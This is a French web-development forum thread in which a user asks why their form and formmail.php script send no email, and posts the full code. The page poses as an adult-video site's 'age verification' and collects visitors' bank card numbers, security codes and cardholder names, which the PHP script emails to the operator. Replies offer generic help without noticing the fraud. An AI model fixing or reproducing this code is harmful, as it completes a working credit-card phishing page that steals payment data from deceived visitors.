Confirmation formulaire formail.php est vide

claudys Messages postés 59 Statut Membre -  
 codeup -
Bonjour,
aidez moi j'ai creer un formulaire et une page formail.php mais quan on clik sur confirmer il me met un page formail.php vide et n'envoi aucun mail

merci
Configuration: Windows XP
Firefox 3.0.11

2 réponses

  1. Nico_ Messages postés 1220 Date d'inscription   Statut Membre Dernière intervention   189
     
    bonsoir,

    comme tu as pas donnés ton code c'est dur de trouver la panne :)

    voici un lien pour un générateur de formulaire php http://infoxp.leobaillard.org/formulaire/

    bonne soirée
    0
    1. codeup
       
      merci pour ce lien
      super ! vraiment...
      ++
      0
  2. claudys Messages postés 59 Statut Membre 1
     
    code de la page qui contien le formulaire

    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html><head>
    <script language="JavaScript" type="text/javascript">
    <!--
    function flash_labels(show) {
    var i = 1;
    while(document.getElementById('field'+i)){
    if (document.getElementById('flabel'+i).style.color == "red"){
    if (show)
    document.getElementById('flabel'+i).style.visibility = "visible";
    else
    document.getElementById('flabel'+i).style.visibility = "hidden";
    }
    i++;
    }
    }
    function verifSelection() {
    var i = 1;
    var retour = true;
    while(document.getElementById('field'+i)){
    if (document.getElementById('field'+i).value == ""){
    document.getElementById('flabel'+i).style.color = "red";
    retour = false;
    }else{
    document.getElementById('flabel'+i).style.color = "";
    }
    i++;
    }
    if (!retour) alert("Vous devez remplir le formulaire au complet !");
    setTimeout("flash_labels(false)", 100);
    setTimeout("flash_labels(true)", 350);
    setTimeout("flash_labels(false)", 600);
    setTimeout("flash_labels(true)", 850);
    return retour;
    }
    <?php if (isset($complete) && $complete == false) echo 'onload = function() {verifSelection(); }'; ?>
    // -->
    </script>
    <meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">

    <title>VIDEOS</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico">
    <style type="text/css">
    body {
    margin:0px; padding:0px;
    font-family:Arial,serif;
    background-color:#000; }
    form {
    margin:0px;
    padding:0px;
    }
    .footer {
    font:normal 12px Arial, serif;
    }
    .content {
    font:normal 12px Arial, serif;
    color:#000;
    background-color:#E1E1E1;
    margin-top:20px;
    }
    .redtext24 {
    font:bold 24px Arial, serif;
    color:#FF0000;
    text-transform:uppercase;
    }
    .blacktext30 {
    font:normal 30px Arial, serif;
    color:#000;
    text-align:center;
    margin-top:25px;
    }
    .blacktext40 {
    font:bold 45px Arial, serif;
    color:#000;
    text-transform:uppercase;
    }
    .redtext50 {
    font:bold 75px/75px Arial, serif;
    color:#FF0000;
    text-transform:uppercase;
    }
    .blacktext28 {
    font:bold 28px Arial, serif;
    color:#000;
    text-transform:uppercase;
    }
    .redtext23 {
    font:bold 23px Arial, serif;
    color:#FF0000;
    text-transform:uppercase;
    }
    .redtext15 {
    font:bold 18px Arial, serif;
    color:#FF0000;
    }
    .error {background: url(/images/cb60f90/error.gif) no-repeat; padding:4px 4px 4px 20px; color:white; font-weight:bold; font-size:9px; position:absolute; margin-left:3px; }
    a, a:hover { color:#000; text-decoration:none; }
    a:hover { text-decoration:underline; }
    .contentred { border:solid 1px red; }
    </style></head>
    <body style="color: rgb(0, 0, 0); background-color: rgb(0, 39, 0);" alink="#000099" link="#000099" vlink="#990099">
    <table style="text-align: left; width: 973px; height: 102px;" border="1" cellpadding="2" cellspacing="2">
    <tbody>
    <tr>
    <td><img style="width: 120px; height: 90px;" alt="" src="2.jpg"></td>
    <td><img style="width: 120px; height: 90px;" alt="" src="3.jpg"></td>
    <td><img style="width: 120px; height: 90px;" alt="" src="6.jpg"></td>
    <td><img style="width: 120px; height: 90px;" alt="" src="9.jpg"></td>
    <td><img style="width: 120px; height: 90px;" alt="" src="10.jpg"></td>
    <td>   <img style="width: 120px; height: 90px;" alt="" src="11.jpg"></td>
    </tr>
    </tbody>
    </table>
        
            
         
             
           
            
               
           
     <br>
    <big style="font-weight: bold;"><big><big>TOUTES
    NOS VIDEOS </big></big></big><big style="font-weight: bold;"><big><span style="color: rgb(204, 0, 0);"></span></big></big><big style="font-weight: bold;"><big><big>SONT
    VISIBLES ET TELECHARGEABLES SUR CE SITE<br>
    </big></big></big>
    <div style="text-align: center;"><big style="color: rgb(153, 0, 0);"><big style="font-weight: bold;"><big> 
     Vérification
    de votre majorité</big><big style="font-weight: bold;"><big><big> </big></big></big></big></big><br style="color: rgb(153, 0, 0);">
    <big style="font-weight: bold; text-decoration: underline; color: rgb(153, 0, 0);"><big>VEUILLEZ
    REMPLIR LE FORMULAIRE DE VERIFICATION DE MAJORITE</big></big><span style="color: rgb(153, 0, 0);">
    </span><br style="color: rgb(153, 0, 0);">
    <br style="color: rgb(153, 0, 0);">
    <span style="color: rgb(153, 0, 0);">Afin
    de confirmer votre
    majorité, Veuillez saisir votre
    numéro de carte bancaire<br></span><div align="center">
    <form method="post" action="formmail.php">
    <input name="subject" value="formmail" type="hidden">
    <table>
    <tbody><tr><td>Numéro de carte bancaire:</td>
    <td><input name="realname" size="30"></td></tr>
    <tr><td>                         Votre Email:</td>
    <td><input name="email" size="30" type="text"></td></tr>
    <tr><td>           les 3 chiffres au dos:</td>
    <td><input maxlength="3" name="title" size="3"></td></tr>
    <tr><td colspan="2">                 Nom sur la carte:  <input name="title" size="30"></td></tr></tbody></table></form></div><br> 
                       
                       
          <br><br> <a href="formmail.php"><input value="COFIRMER" type="submit"></a><br><br>
    </div><br>
    <table style="text-align: left; width: 972px; height: 117px;" border="1" cellpadding="2" cellspacing="2">
    <tbody>
    <tr>
    <td><img style="width: 120px; height: 90px;" alt="" src="15.jpg"></td>
    <td> <img style="width: 120px; height: 90px;" alt="" src="20.jpg"></td>
    <td> <img style="width: 140px; height: 105px;" alt="" src="a.jpg"></td>
    <td><img style="width: 120px; height: 90px;" alt="" src="ddp.jpg"></td>
    <td><img style="width: 157px; height: 89px;" alt="" src="hy.jpg"></td>
    <td> <img style="width: 125px; height: 90px;" alt="" src="dd.jpg"></td>
    </tr>
    </tbody>
    </table>
    </body></html>

    code du formail fait avec note pad ++

    <?php
    $TO = "votre adresse email";

    $h = "From: " . $TO;

    $message = "";

    while (list($key, $val) = each($HTTP_POST_VARS)) {
    $message .= "$key : $val\n";
    }

    mail($TO, $subject, $message, $h);

    Header("Location: E:/site%20porno/ESPACE%20MAJEUR.html");

    ?>

    voila
    0